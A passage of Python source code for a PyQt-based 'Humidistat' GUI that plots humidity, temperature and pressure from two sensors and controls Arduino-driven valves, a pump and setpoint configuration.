controls.COLOR_GRAPH_FG)\n\n\n# ------------------------------------------------------------------------------\n#   Custom plotting styles\n# ------------------------------------------------------------------------------\n\n\nclass CustomAxis(pg.AxisItem):\n    \"\"\"Aligns the top label of a `pyqtgraph.PlotItem` plot to the top-left\n    corner\n    \"\"\"\n\n    def resizeEvent(self, ev=None):\n        if self.orientation == \"top\":\n            self.label.setPos(QtCore.QPointF(0, 0))\n\n\ndef apply_PlotItem_style(\n    pi: pg.PlotItem,\n    title: str = \"\",\n    bottom: str = \"\",\n    left: str = \"\",\n    right: str = \"\",\n):\n    \"\"\"Apply our custom stylesheet to a `pyqtgraph.PlotItem` plot\"\"\"\n\n    pi.setClipToView(True)\n    pi.showGrid(x=1, y=1)\n    pi.setMenuEnabled(True)\n    pi.enableAutoRange(axis=pg.ViewBox.XAxis, enable=False)\n    pi.enableAutoRange(axis=pg.ViewBox.YAxis, enable=True)\n    pi.setAutoVisible(y=True)\n    pi.setRange(xRange=[-CHART_HISTORY_TIME, 0])\n    pi.vb.setLimits(xMax=0.01)\n\n    p_title = {\n        \"color\": controls.COLOR_GRAPH_FG.name(),\n        \"font-size\": \"12pt\",\n        \"font-family\": \"Helvetica\",\n        \"font-weight\": \"bold\",\n    }\n    p_label = {\n        \"color\": controls.COLOR_GRAPH_FG.name(),\n        \"font-size\": \"12pt\",\n        \"font-family\": \"Helvetica\",\n    }\n    pi.setLabel(\"bottom\", bottom, **p_label)\n    pi.setLabel(\"left\", left, **p_label)\n    pi.setLabel(\"top\", title, **p_title)\n    pi.setLabel(\"right\", right, **p_label)\n\n    # fmt: off\n    font = QtGui.QFont()\n    font.setPixelSize(16)\n    pi.getAxis(\"bottom\").setTickFont(font)\n    pi.getAxis(\"left\")  .setTickFont(font)\n    pi.getAxis(\"top\")   .setTickFont(font)\n    pi.getAxis(\"right\") .setTickFont(font)\n\n    pi.getAxis(\"bottom\").setStyle(tickTextOffset=10)\n    pi.getAxis(\"left\")  .setStyle(tickTextOffset=10)\n\n    pi.getAxis(\"bottom\").setHeight(60)\n    pi.getAxis(\"left\")  .setWidth(90)\n    pi.getAxis(\"top\")   .setHeight(40)\n    pi.getAxis(\"right\") .setWidth(16)\n\n    pi.getAxis(\"top\")  .setStyle(showValues=False)\n    pi.getAxis(\"right\").setStyle(showValues=False)\n    # fmt: on\n\n\n# ------------------------------------------------------------------------------\n#   MainWindow\n# ------------------------------------------------------------------------------\n\n\nclass MainWindow(QWidget):\n    def __init__(\n        self,\n        ard: Arduino,\n        ard_qdev: Humidistat_qdev,\n        logger: FileLogger,\n        parent=None,\n        **kwargs,\n    ):\n        super().__init__(parent, **kwargs)\n\n        self.ard = ard\n        self.ard_qdev = ard_qdev\n        self.logger = logger\n\n        # Shorthands\n        state = self.ard_qdev.state\n\n        self.setWindowTitle(\"Humidistat\")\n        self.setGeometry(350, 60, 1200, 900)\n        self.setStyleSheet(\n            controls.SS_TEXTBOX_READ_ONLY\n            + controls.SS_GROUP\n            + controls.SS_HOVER\n        )\n\n        # Textbox widths for fitting N characters using the current font\n        ex8 = 8 + 8 * QtGui.QFontMetrics(QtGui.QFont()).averageCharWidth()\n        ex10 = 8 + 10 * QtGui.QFontMetrics(QtGui.QFont()).averageCharWidth()\n\n        # -------------------------\n        #   Top frame\n        # -------------------------\n\n        # Left box\n        self.qlbl_DAQ_rate = QLabel(\"DAQ: nan Hz\")\n        self.qlbl_DAQ_rate.setStyleSheet(\"QLabel {min-width: 7em}\")\n        self.qlbl_update_counter = QLabel(\"0\")\n        self.qlbl_recording_time = QLabel()\n\n        vbox_left = QVBoxLayout()\n        vbox_left.addWidget(self.qlbl_DAQ_rate, stretch=0)\n        vbox_left.addWidget(self.qlbl_update_counter, stretch=0)\n        vbox_left.addWidget(self.qlbl_recording_time, stretch=0)\n        vbox_left.addStretch(1)\n\n        # Middle box\n        self.qlbl_title = QLabel(\n            \"Humidistat\",\n            font=QtGui.QFont(\"Palatino\", 14, weight=QtGui.QFont.Bold),\n        )\n        self.qlbl_title.setAlignment(QtCore.Qt.AlignCenter)\n        self.qlbl_cur_date_time = QLabel(\"00-00-0000    00:00:00\")\n        self.qlbl_cur_date_time.setAlignment(QtCore.Qt.AlignCenter)\n        self.qpbt_record = controls.create_Toggle_button(\n            \"Click to start recording to file\"\n        )\n        self.qpbt_record.clicked.connect(\n            lambda state: self.logger.record(state)\n        )\n\n        vbox_middle = QVBoxLayout()\n        vbox_middle.addWidget(self.qlbl_title)\n        vbox_middle.addWidget(self.qlbl_cur_date_time)\n        vbox_middle.addWidget(self.qpbt_record)\n\n        # Right box\n        p = {\"alignment\": QtCore.Qt.AlignRight | QtCore.Qt.AlignVCenter}\n        self.qpbt_exit = QPushButton(\"Exit\", minimumHeight=30)\n        self.qpbt_exit.clicked.connect(self.close)\n        self.qlbl_GitHub = QLabel(\n            '<a href=\"%s\">Documentation</a>' % __url__, **p\n        )\n        self.qlbl_GitHub.setTextFormat(QtCore.Qt.RichText)\n        self.qlbl_GitHub.setTextInteractionFlags(\n            QtCore.Qt.TextBrowserInteraction\n        )\n        self.qlbl_GitHub.setOpenExternalLinks(True)\n\n        vbox_right = QVBoxLayout(spacing=4)\n        vbox_right.addWidget(self.qpbt_exit, stretch=0)\n        vbox_right.addStretch(1)\n        vbox_right.addWidget(QLabel(__author__, **p))\n        vbox_right.addWidget(self.qlbl_GitHub)\n        vbox_right.addWidget(QLabel(\"v%s\" % __version__, **p))\n\n        # Round up top frame\n        hbox_top = QHBoxLayout()\n        hbox_top.addLayout(vbox_left, stretch=0)\n        hbox_top.addStretch(1)\n        hbox_top.addLayout(vbox_middle, stretch=0)\n        hbox_top.addStretch(1)\n        hbox_top.addLayout(vbox_right, stretch=0)\n\n        # -------------------------\n        #   Bottom frame\n        # -------------------------\n\n        #  Charts\n        # -------------------------\n\n        self.gw = pg.GraphicsLayoutWidget()\n\n        # Plots\n        self.pi_humi = self.gw.addPlot(\n            row=0, col=0, axisItems={\"top\": CustomAxis(orientation=\"top\")}\n        )\n        self.pi_temp = self.gw.addPlot(\n            row=1, col=0, axisItems={\"top\": CustomAxis(orientation=\"top\")}\n        )\n        self.pi_pres = self.gw.addPlot(\n            row=2, col=0, axisItems={\"top\": CustomAxis(orientation=\"top\")}\n        )\n        apply_PlotItem_style(self.pi_humi, title=\"Humidity\", left=\"% RH\")\n        apply_PlotItem_style(self.pi_temp, title=\"Temperature\", left=\"°C\")\n        apply_PlotItem_style(self.pi_pres, title=\"Pressure\", left=\"mbar\")\n        self.plots = [self.pi_temp, self.pi_humi, self.pi_pres]\n\n        # Thread-safe curves\n        capacity = round(\n            CHART_HISTORY_TIME * 1e3 / ard_qdev.worker_DAQ._DAQ_interval_ms\n        )  # TODO: Fix this wrong calculation. `_DAQ_interval_ms` is not the\n        # correct variable anymore. DAQ interval is rather determined on the\n        # Arduino side.\n        PEN_01 = pg.mkPen(controls.COLOR_PEN_TURQUOISE, width=3)\n        PEN_02 = pg.mkPen(controls.COLOR_PEN_YELLOW, width=3)\n        PEN_03 = pg.mkPen(controls.COLOR_PEN_PINK, width=3)\n        PEN_04 = pg.mkPen(\n            controls.COLOR_PEN_PINK, width=1, style=QtCore.Qt.DotLine\n        )\n\n        self.curve_setpoint = HistoryChartCurve(  # Setpoint\n            capacity=capacity,\n            linked_curve=self.pi_humi.plot(pen=PEN_03, name=\"\"),\n        )\n        self.curve_deadband_HI = HistoryChartCurve(  # Dead-band HI\n            capacity=capacity,\n            linked_curve=self.pi_humi.plot(pen=PEN_04, name=\"\"),\n        )\n        self.curve_deadband_LO = HistoryChartCurve(  # Dead-band LO\n            capacity=capacity,\n            linked_curve=self.pi_humi.plot(pen=PEN_04, name=\"\"),\n        )\n        self.curve_humi_1 = HistoryChartCurve(  # Sensor 1: Humidity\n            capacity=capacity,\n            linked_curve=self.pi_humi.plot(pen=PEN_01, name=\"H\"),\n        )\n        self.curve_temp_1 = HistoryChartCurve(  # Sensor 1: Temperature\n            capacity=capacity,\n            linked_curve=self.pi_temp.plot(pen=PEN_01, name=\"T\"),\n        )\n        self.curve_pres_1 = HistoryChartCurve(  # Sensor 1: Pressure\n            capacity=capacity,\n            linked_curve=self.pi_pres.plot(pen=PEN_01, name=\"P\"),\n        )\n        self.curve_humi_2 = HistoryChartCurve(  # Sensor 2: Humidity\n            capacity=capacity,\n            linked_curve=self.pi_humi.plot(pen=PEN_02, name=\"H\"),\n        )\n        self.curve_temp_2 = HistoryChartCurve(  # Sensor 2: Temperature\n            capacity=capacity,\n            linked_curve=self.pi_temp.plot(pen=PEN_02, name=\"T\"),\n        )\n        self.curve_pres_2 = HistoryChartCurve(  # Sensor 2: Pressure\n            capacity=capacity,\n            linked_curve=self.pi_pres.plot(pen=PEN_02, name=\"P\"),\n        )\n\n        self.curves_setpoint = [\n            self.curve_setpoint,\n            self.curve_deadband_HI,\n            self.curve_deadband_LO,\n        ]\n        self.curves_1 = [\n            self.curve_humi_1,\n            self.curve_temp_1,\n            self.curve_pres_1,\n        ]\n        self.curves_2 = [\n            self.curve_humi_2,\n            self.curve_temp_2,\n            self.curve_pres_2,\n        ]\n        self.curves = self.curves_setpoint + self.curves_1 + self.curves_2\n\n        #  Group `Readings`\n        # -------------------------\n\n        legend_1 = LegendSelect(linked_curves=self.curves_1)\n        legend_2 = LegendSelect(linked_curves=self.curves_2)\n        legend_1.qpbt_toggle.clicked.connect(\n            lambda: QtCore.QCoreApplication.processEvents()  # Force redraw\n        )\n        legend_2.qpbt_toggle.clicked.connect(\n            lambda: QtCore.QCoreApplication.processEvents()  # Force redraw\n        )\n\n        p = {\n            \"readOnly\": True,\n            \"alignment\": QtCore.Qt.AlignRight,\n            \"maximumWidth\": 54,\n        }\n        self.qlin_humi_1 = QLineEdit(**p)\n        self.qlin_temp_1 = QLineEdit(**p)\n        self.qlin_pres_1 = QLineEdit(**p)\n        self.qlin_humi_2 = QLineEdit(**p)\n        self.qlin_temp_2 = QLineEdit(**p)\n        self.qlin_pres_2 = QLineEdit(**p)\n\n        # fmt: off\n        legend_1.grid.setHorizontalSpacing(6)\n        legend_1.grid.addWidget(self.qlin_humi_1  , 0, 2)\n        legend_1.grid.addWidget(QLabel(\"± 3 % RH\"), 0, 3)\n        legend_1.grid.addWidget(self.qlin_temp_1  , 1, 2)\n        legend_1.grid.addWidget(QLabel(\"± 0.5 °C\"), 1, 3)\n        legend_1.grid.addWidget(self.qlin_pres_1  , 2, 2)\n        legend_1.grid.addWidget(QLabel(\"± 1 mbar\"), 2, 3)\n        legend_1.grid.setColumnStretch(0, 0)\n        legend_1.grid.setColumnStretch(1, 0)\n\n        legend_2.grid.setHorizontalSpacing(6)\n        legend_2.grid.addWidget(self.qlin_humi_2  , 0, 2)\n        legend_2.grid.addWidget(QLabel(\"± 3 % RH\"), 0, 3)\n        legend_2.grid.addWidget(self.qlin_temp_2  , 1, 2)\n        legend_2.grid.addWidget(QLabel(\"± 0.5 °C\"), 1, 3)\n        legend_2.grid.addWidget(self.qlin_pres_2  , 2, 2)\n        legend_2.grid.addWidget(QLabel(\"± 1 mbar\"), 2, 3)\n        legend_2.grid.setColumnStretch(0, 0)\n        legend_2.grid.setColumnStretch(1, 0)\n        # fmt: on\n\n        vbox = QVBoxLayout(spacing=4)\n        vbox.addWidget(QLabel(\"<b>Sensor #1</b>\"))\n        vbox.addLayout(legend_1.grid)\n        vbox.addSpacing(6)\n        vbox.addWidget(QLabel(\"<b>Sensor #2</b>\"))\n        vbox.addLayout(legend_2.grid)\n\n        qgrp_readings = QGroupBox(\"Readings\")\n        qgrp_readings.setLayout(vbox)\n\n        #  Group 'Log comments'\n        # -------------------------\n\n        self.qtxt_comments = QTextEdit()\n        self.qtxt_comments.setMinimumHeight(60)\n        grid = QGridLayout()\n        grid.addWidget(self.qtxt_comments, 0, 0)\n\n        qgrp_comments = QGroupBox(\"Log comments\")\n        qgrp_comments.setLayout(grid)\n\n        #  Group 'Charts'\n        # -------------------------\n\n        self.plot_manager = PlotManager(parent=self)\n        self.plot_manager.add_autorange_buttons(linked_plots=self.plots)\n        self.plot_manager.add_preset_buttons(\n            linked_plots=self.plots,\n            linked_curves=self.curves,\n            presets=[\n                {\n                    \"button_label\": \"01:00\",\n                    \"x_axis_label\": \"sec\",\n                    \"x_axis_divisor\": 1,\n                    \"x_axis_range\": (-60, 0),\n                },\n                {\n                    \"button_label\": \"03:00\",\n                    \"x_axis_label\": \"sec\",\n                    \"x_axis_divisor\": 1,\n                    \"x_axis_range\": (-180, 0),\n                },\n                {\n                    \"button_label\": \"10:00\",\n                    \"x_axis_label\": \"min\",\n                    \"x_axis_divisor\": 60,\n                    \"x_axis_range\": (-10, 0),\n                },\n                {\n                    \"button_label\": \"30:00\",\n                    \"x_axis_label\": \"min\",\n                    \"x_axis_divisor\": 60,\n                    \"x_axis_range\": (-30, 0),\n                },\n                {\n                    \"button_label\": \"60:00\",\n                    \"x_axis_label\": \"min\",\n                    \"x_axis_divisor\": 60,\n                    \"x_axis_range\": (-60, 0),\n                },\n                {\n                    \"button_label\": \"120:00\",\n                    \"x_axis_label\": \"min\",\n                    \"x_axis_divisor\": 60,\n                    \"x_axis_range\": (-120, 0),\n                },\n            ],\n        )\n        self.plot_manager.add_clear_button(linked_curves=self.curves)\n        self.plot_manager.perform_preset(1)\n\n        qgrp_charts = QGroupBox(\"Charts\")\n        qgrp_charts.setLayout(self.plot_manager.grid)\n\n        #  Group 'Control'\n        # -------------------------\n\n        p = {\"maximumWidth\": ex10 / 2, \"alignment\": QtCore.Qt.AlignRight}\n        self.qlin_setpoint = QLineEdit(**p)\n        self.qlin_control_band = QLineEdit(\n            readOnly=True, maximumWidth=80, alignment=QtCore.Qt.AlignHCenter\n        )\n        self.qpbt_control_mode = controls.create_Toggle_button(\"Manual control\")\n        self.qpbt_valve_1 = controls.create_Toggle_button(maximumWidth=80)\n        self.qpbt_valve_2 = controls.create_Toggle_button(maximumWidth=80)\n        self.qpbt_pump = controls.create_Toggle_button(maximumWidth=80)\n        self.qpbt_burst_incr_RH = QPushButton(\"RH ▲ burst\")\n        self.qpbt_burst_decr_RH = QPushButton(\"RH ▼ burst\")\n        self.qpbt_reconnect = QPushButton(\"Reconnect sensors\")\n\n        self.qlin_setpoint.editingFinished.connect(self.process_qlin_setpoint)\n        self.qpbt_control_mode.clicked.connect(self.process_qpbt_control_mode)\n        self.qpbt_valve_1.clicked.connect(\n            lambda: ard_qdev.set_valve_1(not state.valve_1)\n        )\n        self.qpbt_valve_2.clicked.connect(\n            lambda: ard_qdev.set_valve_2(not state.valve_2)\n        )\n        self.qpbt_pump.clicked.connect(\n            lambda: ard_qdev.set_pump(not state.pump)\n        )\n        self.qpbt_burst_incr_RH.clicked.connect(ard_qdev.burst_incr_RH)\n        self.qpbt_burst_decr_RH.clicked.connect(ard_qdev.burst_decr_RH)\n        self.qpbt_reconnect.clicked.connect(ard_qdev.reconnect_BME280_sensors)\n\n        legend_setpoint = LegendSelect(\n            linked_curves=[self.curve_setpoint], hide_toggle_button=True\n        )\n\n        # Show/hide dead-band curves when clicking setpoint checkbox\n        def curves_deadband_setVisible(flag: bool):\n            self.curve_deadband_HI.setVisible(flag)\n            self.curve_deadband_LO.setVisible(flag)\n\n        legend_setpoint.chkbs[0].clicked.connect(\n            lambda checked: curves_deadband_setVisible(checked)\n        )\n\n        # fmt: off\n        i = 0\n        grid = QGridLayout(spacing=4)\n        grid.addWidget(QLabel(\"Setpoint:\")       , i, 0)\n        grid.addWidget(self.qlin_setpoint        , i, 1)\n        grid.addWidget(QLabel(\"% RH\")            , i, 2)         ; i+=1\n        grid.addLayout(legend_setpoint.grid      , i, 1, 1, 2)   ; i+=1\n        grid.addWidget(QLabel(\"Band:\")           , i, 0)\n        grid.addWidget(self.qlin_control_band    , i, 1, 1, 2)   ; i+=1\n        grid.addItem(QSpacerItem(0, 10)          , i, 0)         ; i+=1\n        grid.addWidget(QLabel(\"<b>Actuators</b>\"), i, 0, 1, 3)   ; i+=1\n        grid.addWidget(self.qpbt_control_mode    , i, 0, 1, 3)   ; i+=1\n        grid.addWidget(QLabel(\"valve 1\")         , i, 0)\n        grid.addWidget(self.qpbt_valve_1         , i, 1, 1, 2)   ; i+=1\n        grid.addWidget(QLabel(\"valve 2\")         , i, 0)\n        grid.addWidget(self.qpbt_valve_2         , i, 1, 1, 2)   ; i+=1\n        grid.addWidget(QLabel(\"pump\")            , i, 0)\n        grid.addWidget(self.qpbt_pump            , i, 1, 1, 2)   ; i+=1\n        grid.addItem(QSpacerItem(0, 6)           , i, 0)         ; i+=1\n        grid.addWidget(self.qpbt_burst_incr_RH   , i, 0, 1, 3)   ; i+=1\n        grid.addWidget(self.qpbt_burst_decr_RH   , i, 0, 1, 3)   ; i+=1\n        grid.addItem(QSpacerItem(0, 6)           , i, 0)         ; i+=1\n        grid.addWidget(QLabel(\"<b>Troubleshoot</b>\"), i, 0, 1, 3); i+=1\n        grid.addWidget(self.qpbt_reconnect       , i, 0, 1, 3)   ; i+=1\n        # fmt: on\n\n        qgrp_control = QGroupBox(\"Control\")\n        qgrp_control.setLayout(grid)\n\n        #  Group 'Configuration'\n        # -------------------------\n\n        # fmt: off\n        p = {\"maximumWidth\": ex10}\n        self.qchk_incr_ENA_valve_1 = QCheckBox(\"valve 1\", **p)\n        self.qchk_incr_ENA_valve_2 = QCheckBox(\"valve 2\", **p)\n        self.qchk_incr_ENA_pump    = QCheckBox(\"pump\"   , **p)\n        self.qchk_decr_ENA_valve_1 = QCheckBox(\"valve 1\", **p)\n        self.qchk_decr_ENA_valve_2 = QCheckBox(\"valve 2\", **p)\n        self.qchk_decr_ENA_pump    = QCheckBox(\"pump\"   , **p)\n        self.qrbt_act_on_sensor_1  = QRadioButton(\"sensor 1\")\n        self.qrbt_act_on_sensor_2  = QRadioButton(\"sensor 2\")\n        # fmt: on\n\n        self.qchk_incr_ENA_valve_1.clicked.connect(\n            self.process_qchk_incr_ENA_valve_1\n        )\n        self.qchk_decr_ENA_valve_1.clicked.connect(\n            self.process_qchk_decr_ENA_valve_1\n        )\n        self.qchk_incr_ENA_valve_2.clicked.connect(\n            self.process_qchk_incr_ENA_valve_2\n        )\n        self.qchk_decr_ENA_valve_2.clicked.connect(\n            self.process_qchk_decr_ENA_valve_2\n        )\n        self.qchk_incr_ENA_pump.clicked.connect(self.process_qchk_incr_ENA_pump)\n        self.qchk_decr_ENA_pump.clicked.connect(self.process_qchk_decr_ENA_pump)\n        self.qrbt_act_on_sensor_1.clicked.connect(\n            self.process_qrbt_act_on_sensor_1\n        )\n        self.qrbt_act_on_sensor_2.clicked.connect(\n            self.process_qrbt_act_on_sensor_2\n        )\n\n        p = {\"maximumWidth\": ex8, \"alignment\": QtCore.Qt.AlignRight}\n        self.qlin_fineband_dHI = QLineEdit(**p)\n        self.qlin_fineband_dLO = QLineEdit(**p)\n        self.qlin_deadband_dHI = QLineEdit(**p)\n        self.qlin_deadband_dLO = QLineEdit(**p)\n        self.qlin_burst_update_period = QLineEdit(**p)\n        self.qlin_burst_incr_RH_length = QLineEdit(**p)\n        self.qlin_burst_decr_RH_length = QLineEdit(**p)\n\n        self.qlin_fineband_dHI.editingFinished.connect(\n            self.process_qlin_fineband_dHI\n        )\n        self.qlin_fineband_dLO.editingFinished.connect(\n            self.process_qlin_fineband_dLO\n        )\n        self.qlin_deadband_dHI.editingFinished.connect(\n            self.process_qlin_deadband_dHI\n        )\n        self.qlin_deadband_dLO.editingFinished.connect(\n            self.process_qlin_deadband_dLO\n        )\n        self.qlin_burst_update_period.editingFinished.connect(\n            self.process_qlin_burst_update_period\n        )\n        self.qlin_burst_incr_RH_length.editingFinished.connect(\n            self.process_qlin_burst_incr_RH_length\n        )\n        self.qlin_burst_decr_RH_length.editingFinished.connect(\n            self.process_qlin_burst_decr_RH_length\n        )\n\n        self.qpbt_load_config = QPushButton(\"Load\", maximumWidth=ex8)\n        self.qpbt_save_config = QPushButton(\"Save\", maximumWidth=ex8)\n        self.qpbt_dflt_config = QPushButton(\n            \"Save as default\", maximumWidth=ex8 * 2\n        )\n        self.qpbt_load_config.clicked.connect(\n            lambda: self.load_config_from_file(from_default=False)\n        )\n        self.qpbt_save_config.clicked.connect(\n            lambda: self.save_config_to_file(as_default=False)\n        )\n        self.qpbt_dflt_config.clicked.connect(\n            lambda: self.save_config_to_file(as_default=True)\n        )\n\n        grid3 = QGridLayout(spacing=4)\n        grid3.addWidget(QLabel(\"<b>Configuration</b>\"), 0, 0, 1, 3)\n        grid3.addWidget(self.qpbt_load_config, 1, 0)\n        grid3.addWidget(self.qpbt_save_config, 1, 1)\n        grid3.addWidget(self.qpbt_dflt_config, 1, 2)\n\n        # fmt: off\n        i = 0\n        grid2 = QGridLayout(spacing=4)\n        grid2.addWidget(QLabel(\"<b>Control bandwidths</b>\"), i, 0, 1, 3); i+=1\n        grid2.addWidget(QLabel(\"Fine-band:\")               , i, 0)\n        grid2.addWidget(self.qlin_fineband_dLO             , i, 1)\n        grid2.addWidget(self.qlin_fineband_dHI             , i, 2)\n        grid2.addWidget(QLabel(\"% RH\")                     , i, 3)      ; i+=1\n        grid2.addWidget(QLabel(\"Dead-band:\")               , i, 0)\n        grid2.addWidget(self.qlin_deadband_dLO             , i, 1)\n        grid2.addWidget(self.qlin_deadband_dHI             , i, 2)\n        grid2.addWidget(QLabel(\"% RH\")                     , i, 3)      ; i+=1\n        grid2.addItem(QSpacerItem(0, 6)                    , i, 0)      ; i+=1\n        grid2.addWidget(QLabel(\"<b>Fine-band bursts</b>\")  , i, 0, 1, 3); i+=1\n        grid2.addWidget(QLabel(\"Update period:\")           , i, 0, 1, 2)\n        grid2.addWidget(self.qlin_burst_update_period      , i, 2)\n        grid2.addWidget(QLabel(\"s\")                        , i, 3)      ; i+=1\n        grid2.addWidget(QLabel(\"RH ▲ burst length:\")       , i, 0, 1, 2)\n        grid2.addWidget(self.qlin_burst_incr_RH_length     , i, 2)\n        grid2.addWidget(QLabel(\"ms\")                       , i, 3)      ; i+=1\n        grid2.addWidget(QLabel(\"RH ▼ burst length:\")       , i, 0, 1, 2)\n        grid2.addWidget(self.qlin_burst_decr_RH_length     , i, 2)\n        grid2.addWidget(QLabel(\"ms\")                       , i, 3)      ; i+=1\n\n        i = 0\n        grid = QGridLayout(spacing=4)\n        grid.addWidget(QLabel(\"<b>Assign actuators</b>\")   , i, 0, 1, 3); i+=1\n        grid.addWidget(QLabel(\"RH ▲:\")                     , i, 0)\n        grid.addWidget(self.qchk_incr_ENA_valve_1          , i, 1)\n        grid.addWidget(QLabel(\"RH ▼:\")                     , i, 2)\n        grid.addWidget(self.qchk_decr_ENA_valve_1          , i, 3)      ; i+=1\n        grid.addWidget(self.qchk_incr_ENA_valve_2          , i, 1)\n        grid.addWidget(self.qchk_decr_ENA_valve_2          , i, 3)      ; i+=1\n        grid.addWidget(self.qchk_incr_ENA_pump             , i, 1)\n        grid.addWidget(self.qchk_decr_ENA_pump             , i, 3)      ; i+=1\n        grid.addItem(QSpacerItem(0, 6)                     , i, 0)      ; i+=1\n        grid.addWidget(QLabel(\"Act on:\")                   , i, 0)\n        grid.addWidget(self.qrbt_act_on_sensor_1           , i, 1, 1, 2); i+=1\n        grid.addWidget(self.qrbt_act_on_sensor_2           , i, 1, 1, 2); i+=1\n        grid.addItem(QSpacerItem(0, 4)                     , i, 0)      ; i+=1\n        grid.addLayout(grid2                               , i, 0, 1, 4); i+=1\n        grid.addItem(QSpacerItem(0, 4)                     , i, 0)      ; i+=1\n        grid.addLayout(grid3                               , i, 0, 1, 4)\n        # fmt: on\n\n        qgrp_config = QGroupBox(\"Configuration\")\n        qgrp_config.setLayout(grid)\n\n        #  Round up bottom frame\n        # -------------------------\n\n        hbox1 = QHBoxLayout()\n        hbox1.addWidget(qgrp_control, alignment=QtCore.Qt.AlignLeft)\n        hbox1.addWidget(qgrp_config, alignment=QtCore.Qt.AlignLeft)\n\n        hbox2 = QHBoxLayout()\n        hbox2.addWidget(qgrp_readings, alignment=QtCore.Qt.AlignLeft)\n        hbox2.addWidget(qgrp_charts, alignment=QtCore.Qt.AlignLeft)\n\n        vbox = QVBoxLayout()\n        vbox.addLayout(hbox1)\n        vbox.addLayout(hbox2)\n        vbox.addWidget(qgrp_comments)\n\n        grid_bot = QGridLayout()\n        grid_bot.addWidget(self.gw, 0, 0)\n        grid_bot.addLayout(vbox, 0, 1)\n        grid_bot.setColumnStretch(0, 1)\n        grid_bot.setColumnStretch(1, 0)\n\n        # -------------------------\n        #   Round up full window\n        # -------------------------\n\n        vbox = QVBoxLayout(self)\n        vbox.addLayout(hbox_top, stretch=0)\n        vbox.addSpacerItem(QSpacerItem(0, 10))\n        vbox.addLayout(grid_bot, stretch=1)\n\n        self.populate_configuration()\n\n        # -------------------------\n        #   Wall clock timer\n        # -------------------------\n\n        self.timer_wall_clock = QtCore.QTimer()\n        self.timer_wall_clock.timeout.connect(self.update_wall_clock)\n        self.timer_wall_clock.start(UPDATE_INTERVAL_WALL_CLOCK)\n\n        # -------------------------\n        #   Connect external signals\n        # -------------------------\n\n        self.ard_qdev.signal_DAQ_updated.connect(self.update_GUI)\n\n        self.logger.signal_recording_started.connect(\n            lambda filepath: self.qpbt_record.setText(\n                \"Recording to file: %s\" % filepath\n            )\n        )\n        self.logger.signal_recording_stopped.connect(\n            lambda: self.qpbt_record.setText(\"Click to start recording to file\")\n        )\n\n    # --------------------------------------------------------------------------\n    #   Handle controls\n    # --------------------------------------------------------------------------\n\n    @QtCore.pyqtSlot()\n    def update_wall_clock(self):\n        cur_date_time = QDateTime.currentDateTime()\n        self.qlbl_cur_date_time.setText(\n            \"%s    %s\"\n            % (\n                cur_date_time.toString(\"dd-MM-yyyy\"),\n                cur_date_time.toString(\"HH:mm:ss\"),\n            )\n        )\n\n    @QtCore.pyqtSlot()\n    def update_GUI(self):\n        # Shorthands\n        ard_qdev = self.ard_qdev\n        state = self.ard_qdev.state\n\n        self.qlbl_update_counter.setText(\"%i\" % ard_qdev.update_counter_DAQ)\n        self.qlbl_DAQ_rate.setText(\n            \"DAQ: %.1f Hz\" % ard_qdev.obtained_DAQ_rate_Hz\n        )\n        if self.logger.is_recording():\n            self.qlbl_recording_time.setText(\n                \"REC: %s\" % self.logger.pretty_elapsed()\n            )\n        else:\n            self.qlbl_recording_time.setText(\"\")\n\n        self.qlin_humi_1.setText(\"%.1f\" % state.humi_1)\n        self.qlin_temp_1.setText(\"%.1f\" % state.temp_1)\n        self.qlin_pres_1.setText(\"%.0f\" % state.pres_1)\n        self.qlin_humi_2.setText(\"%.1f\" % state.humi_2)\n        self.qlin_temp_2.setText(\"%.1f\" % state.temp_2)\n        self.qlin_pres_2.setText(\"%.0f\" % state.pres_2)\n\n        if state.control_band == ControlBand.Coarse:\n            self.qlin_control_band.setText(\"COARSE\")\n        elif state.control_band == ControlBand.Fine:\n            self.qlin_control_band.setText(\"FINE\")\n        elif state.control_band == ControlBand.Dead:\n            self.qlin_control_band.setText(\"DEAD\")\n\n        self.qpbt_valve_1.setChecked(state.valve_1)\n        self.qpbt_valve_1.setText(\"ON\" if state.valve_1 else \"OFF\")\n        self.qpbt_valve_2.setChecked(state.valve_2)\n        self.qpbt_valve_2.setText(\"ON\" if state.valve_2 else \"OFF\")\n        self.qpbt_pump.setChecked(state.pump)\n        self.qpbt_pump.setText(\"ON\" if state.pump else \"OFF\")\n\n        if DEBUG:\n            tprint(\"update_charts\")\n\n        for curve in self.curves:\n            curve.update()\n\n    @QtCore.pyqtSlot()\n    def populate_configuration(self):\n        # Shorthands\n        state = self.ard_qdev.state\n        config = self.ard_qdev.config\n\n        self.qlin_setpoint.setText(\"%u\" % state.setpoint)\n\n        self.qchk_incr_ENA_valve_1.setChecked(config.actors_incr_RH.ENA_valve_1)\n        self.qchk_incr_ENA_valve_2.setChecked(config.actors_incr_RH.ENA_valve_2)\n        self.qchk_incr_ENA_pump.setChecked(config.actors_incr_RH.ENA_pump)\n\n        self.qchk_decr_ENA_valve_1.setChecked(config.actors_decr_RH.ENA_valve_1)\n        self.qchk_decr_ENA_valve_2.setChecked(config.actors_decr_RH.ENA_valve_2)\n        self.qchk_decr_ENA_pump.setChecked(config.actors_decr_RH.ENA_pump)\n\n        self.qrbt_act_on_sensor_1.setChecked(config.act_on_sensor_no == 1)\n        self.qrbt_act_on_sensor_2.setChecked(config.act_on_sensor_no == 2)\n\n        self.qlin_fineband_dHI.setText(\"%+.1f\" % config.fineband_dHI)\n        self.qlin_fineband_dLO.setText(\"%+.1f\" % config.fineband_dLO)\n        self.qlin_deadband_dHI.setText(\"%+.1f\" % config.deadband_dHI)\n        self.qlin_deadband_dLO.setText(\"%+.1f\" % config.deadband_dLO)\n        self.qlin_burst_update_period.setText(\"%u\" % config.burst_update_period)\n        self.qlin_burst_incr_RH_length.setText(\n            \"%u\" % config.burst_incr_RH_length\n        )\n        self.qlin_burst_decr_RH_length.setText(\n            \"%u\" % config.burst_decr_RH_length\n        )\n\n    # --------------------------------------------------------------------------\n    #   Handle controls\n    # --------------------------------------------------------------------------\n\n    @QtCore.pyqtSlot()\n    def process_qlin_setpoint(self):\n        try:\n            val = int(self.qlin_setpoint.text())\n        except ValueError:\n            val = self.ard_qdev.state.setpoint\n\n        val = max(val, 0)\n        val = min(val, 100)\n        self.qlin_setpoint.setText(\"%u\" % val)\n        self.ard_qdev.state.setpoint = val\n\n    @QtCore.pyqtSlot()\n    def process_qpbt_control_mode(self):\n        if self.qpbt_control_mode.isChecked():\n            # Switch to auto control\n            self.qpbt_control_mode.setText(\"Auto control\")\n            self.ard_qdev.state.control_mode = ControlMode.Auto\n        else:\n            # Switch to manual control\n            # Will automatically turn off all 